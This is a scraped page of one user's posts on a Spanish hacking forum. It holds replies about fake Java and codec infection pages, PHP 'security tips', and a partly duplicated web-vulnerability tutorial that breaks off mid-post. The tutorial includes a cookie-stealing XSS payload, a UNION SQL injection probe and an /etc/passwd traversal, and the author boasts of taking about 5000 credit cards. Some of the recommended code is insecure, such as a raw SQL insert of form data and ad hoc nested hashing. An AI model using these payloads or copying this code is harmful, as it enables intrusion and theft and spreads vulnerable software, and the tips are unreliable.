Claro que funciona, de hecho en You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login si entras te vota un Java Fake y te infectas, puedes entrar y darle cancelar para que mires que aún funciona, solo es cuestión de acomodar bien las cosas.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#222
Hacking / Re:Codecs fake web en HTML
Mayo 02, 2011, 09:07:21 PM #223
Hacking / Re:Codecs fake web en HTML
Mayo 01, 2011, 09:32:07 PM
Exácto, pero en estos casos preferiría más el Java Fake, al menos a mi punto de vista es mas eficaz.
#224
Hacking / Re:Codecs fake web en HTML
Abril 29, 2011, 07:36:57 PM
Este método es demasiado viejo, aún lo recuerdo, pero no esta demás descargarlo, se agradece.
#225
Tutoriales y Manuales de Malwares / Re:Lista de nombres de Troyanos..
Abril 29, 2011, 02:12:16 AM
Buena información, por cierto; hay que tratar de NO revivir post antiguos para un mejor orden en el foro, saludos.
#226
Back-end / Re:Seguridad y Proteccion a nivel web. [Version I] [Explicado]
Enero 27, 2011, 11:32:04 AM
Espero te sirva y lo leas completo.
#227
Back-end / Un par de tips caseros
Enero 27, 2011, 09:31:08 AM
Algunas funciones y tips para mejorar su web.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:
Código: html5
Y que al dar enviar nos generaría una URL algo así: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, es decir, nos muestra todas los "inputs" en la variable.
Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:
Código: php
Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.
Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:
Código: php
Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.
Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.
Suponiendo que es un registro:
Código: php
Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.
A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.
Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:
Código: php
------------------------------------------------
Encriptación de contraseñas.
A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:
Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8
El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:
Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.
En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.
Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:
Código: php
Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.
Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.
Es un frase:
"No por tener menos código significa que sea mejor."
Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:
<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>
Y que al dar enviar nos generaría una URL algo así: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, es decir, nos muestra todas los "inputs" en la variable.
Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:
<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>
Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.
Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:
<?php
function limpiar_texto($texto){
$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>
Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.
Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.
Suponiendo que es un registro:
<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>
Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.
A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.
Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:
<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.
if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{
//Toda la web aqui
}
?>
------------------------------------------------
Encriptación de contraseñas.
A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:
Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8
El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:
Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.
En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.
Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:
<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>
Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.
Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.
Es un frase:
"No por tener menos código significa que sea mejor."
Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
#228
Back-end / Seguridad y Proteccion a nivel web. [Version I] [Explicado]
Enero 27, 2011, 09:21:35 AM
Proteccion y seguridad a nivel web, version 1.
Punto es: explicar "PORQUE" existe o se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.
Cabe mencionar que no explicare ni dire todas las vulnerabilidades a nivel web por tres razones:
1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perderia el toque, en proximas versiones tal vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.
Por lo que solo explicare las mas "comunes/tipicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denomina XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyeccion de codigo "script/scripting" en alguna variable tanto POST como GET.
HTML Injection (Inyeccion HTML), la vulnerabilidad se explota mediante la inyeccion de codigo (principalmente HTML) en alguna variable tanto POST como GET.
¿Que tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).
Puse las dos juntas en el mismo subtitulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomare de ejemplo el siguiente "buscador":
Código: php
Entonces, ¿Como se parcharian estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyeccion y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);
Pueden utilizar cualquiera
Podemos hacerlo directamente:
Código: php
Generalmente se utiliza una inyeccion HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, asi que les dare solo un breve ejemplo de un robo de cookies:
Nota: No explicare mediante codigo esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.
Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un codigo que al ser enviado (en este caso a un supuesto administrador) y dar click en el enlace, automaticamente se envia un correo (esto depende de la pagina atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesion nuestra por la que obtuvimos por el administrador y listo, sesion de Administrador robada:
Ya solo es cuestion de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo seria cuestion de disfrazar y meterle ingenieria social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, asi que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyeccion SQL (Structured Query Language)], se caracteriza por no filtrar la peticion a la base de datos conllevando con esta, un error en la implementacion del valor a "pedir" y asi exponiendo el codigo, es decir, que gracias a una mala estructuracion/programacion del codigo para hacer una peticion (no filtrar las variables) se puede explotar dejando asi toda la base de datos a la vista del atacante.
Aqui entra algo de polemica, la mayoria solo cree que una inyeccion SQL siempre sera: -1 SELECT UNION 1,2--, pero no, existen muchos tipos de inyecciones SQL pero en este caso indicaremos como parchar la "tipica".
Un ejemplo de una mala estructuracion es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Código: php
Daria error, entonces al intentar acceder como (-1 UNION SELECT 1) daria:
Entonces asi podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logre obtener cerca de 5000 tarjetas de credito).
Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala peticion en el codigo, entonces asi como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este seria el codigo:
Código: php
¿Que hacemos? Incluimos la conexion a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es numerico el ID, hacemos la peticion filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es numerico y no existe la noticia te marcara un error (echo...).
Asi de sencillo parchamos (mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el codigo te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:
Suponiendo que nuestra pagina tiene un link para descargar los archivos que nosotros indiquemos, algo como:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Entonces como vemos hace un "query" practicamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tal vez conozcas (.. , ., etc) para recorrer o avanzar directorios, quedaria algo asi:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comunmente busca el archivo /etc/passwd por default, entonces la url quedaria:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntaras, ¿Pero en que nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se nos descargaria el "Script" completo del admin y seria cuestion de ir jugando con los archivos para ver que otras vulnerabilidades tienen.
¿Como parchar? Para wordpress existe (este codigo no es mio, pero esta muy conocido en la red):
Y por mi parte las recomendaciones serian:
1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, o bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" seria preferible que mejor pongan:
2.1- Descargas directas: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"
2.2- Hacer un array o switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviacion como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script asi, pueden implementar un codigo mas o menos de esta manera para fijar el directorio en una carpeta en especifico y comprobar la existencia de este, claro esta, tambien sustituimos los caracteres (".","/") que son los usuales en estos casos:
Código: php
------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluir archivos remotamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluir archivos localmente en el servidor.
Estas vulnerabilidades antes eran muy tipica, pero conforme PHP fue avanzando de version fueron "mas dificiles" encontrarnos con una.
Lo explicare brevemente ya que es parecido lo mismo que Full Path Disclosure.
Para RFI:
Suponiendo que tenemos una pagina llamada You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y tenemos un codigo parecido a este:
Código: php
Como se observa, incluimos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por que les puede perjudicar?
Si yo en su pagina hago You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ¿Que pasaria? Se incluiria en su pagina mi script malicioso y tendria acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su pagina (cosa que nunca hago).
Para LFI:
Suponiendo que tenemos la misma pagina, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
Código: php
Aqui pasariamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algun archivo vulnerable y comenzar a atacar.
¿Como parcharlo?
Esta manera que explicare sera para las dos vulnerabilidades:
Código: php
Como se observa, se utiliza "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestion de que analizen su codigo linea por linea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les dare un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada pagina" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:
Código: php
4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:
Código: php
5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la proxima version hablare sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo o escribe algo mal fue porque lo escribo continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
Punto es: explicar "PORQUE" existe o se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.
Cabe mencionar que no explicare ni dire todas las vulnerabilidades a nivel web por tres razones:
1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perderia el toque, en proximas versiones tal vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.
Por lo que solo explicare las mas "comunes/tipicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denomina XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyeccion de codigo "script/scripting" en alguna variable tanto POST como GET.
HTML Injection (Inyeccion HTML), la vulnerabilidad se explota mediante la inyeccion de codigo (principalmente HTML) en alguna variable tanto POST como GET.
¿Que tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).
Puse las dos juntas en el mismo subtitulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomare de ejemplo el siguiente "buscador":
<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>
Entonces, ¿Como se parcharian estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyeccion y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);
Pueden utilizar cualquiera
Podemos hacerlo directamente:
<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado
En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border="0"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>
Generalmente se utiliza una inyeccion HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, asi que les dare solo un breve ejemplo de un robo de cookies:
Nota: No explicare mediante codigo esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.
Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un codigo que al ser enviado (en este caso a un supuesto administrador) y dar click en el enlace, automaticamente se envia un correo (esto depende de la pagina atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesion nuestra por la que obtuvimos por el administrador y listo, sesion de Administrador robada:
Citar
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login<script>window.location=?You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login? document.cookie</script>
Ya solo es cuestion de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo seria cuestion de disfrazar y meterle ingenieria social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, asi que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyeccion SQL (Structured Query Language)], se caracteriza por no filtrar la peticion a la base de datos conllevando con esta, un error en la implementacion del valor a "pedir" y asi exponiendo el codigo, es decir, que gracias a una mala estructuracion/programacion del codigo para hacer una peticion (no filtrar las variables) se puede explotar dejando asi toda la base de datos a la vista del atacante.
Aqui entra algo de polemica, la mayoria solo cree que una inyeccion SQL siempre sera: -1 SELECT UNION 1,2--, pero no, existen muchos tipos de inyecciones SQL pero en este caso indicaremos como parchar la "tipica".
Un ejemplo de una mala estructuracion es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1
*/
?>
Daria error, entonces al intentar acceder como (-1 UNION SELECT 1) daria:
Citar
The used SELECT statements have a different number of columns
Entonces asi podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logre obtener cerca de 5000 tarjetas de credito).
Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala peticion en el codigo, entonces asi como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este seria el codigo:
<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID
if (is_numeric($id)){ //Comprobamos que sea numerico
$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion
if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>
¿Que hacemos? Incluimos la conexion a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es numerico el ID, hacemos la peticion filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es numerico y no existe la noticia te marcara un error (echo...).
Asi de sencillo parchamos (mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el codigo te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:
Suponiendo que nuestra pagina tiene un link para descargar los archivos que nosotros indiquemos, algo como:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Entonces como vemos hace un "query" practicamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tal vez conozcas (.. , ., etc) para recorrer o avanzar directorios, quedaria algo asi:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Citar
Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5
Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comunmente busca el archivo /etc/passwd por default, entonces la url quedaria:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntaras, ¿Pero en que nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se nos descargaria el "Script" completo del admin y seria cuestion de ir jugando con los archivos para ver que otras vulnerabilidades tienen.
¿Como parchar? Para wordpress existe (este codigo no es mio, pero esta muy conocido en la red):
Citarif(function_exists('add_action')){
[...]
}
Y por mi parte las recomendaciones serian:
1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, o bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" seria preferible que mejor pongan:
2.1- Descargas directas: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"
2.2- Hacer un array o switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviacion como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script asi, pueden implementar un codigo mas o menos de esta manera para fijar el directorio en una carpeta en especifico y comprobar la existencia de este, claro esta, tambien sustituimos los caracteres (".","/") que son los usuales en estos casos:
<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="$file"n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>
------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluir archivos remotamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluir archivos localmente en el servidor.
Estas vulnerabilidades antes eran muy tipica, pero conforme PHP fue avanzando de version fueron "mas dificiles" encontrarnos con una.
Lo explicare brevemente ya que es parecido lo mismo que Full Path Disclosure.
Para RFI:
Suponiendo que tenemos una pagina llamada You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y tenemos un codigo parecido a este:
<?php
$file = $_GET['path'];
include ($path);
?>
Como se observa, incluimos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por que les puede perjudicar?
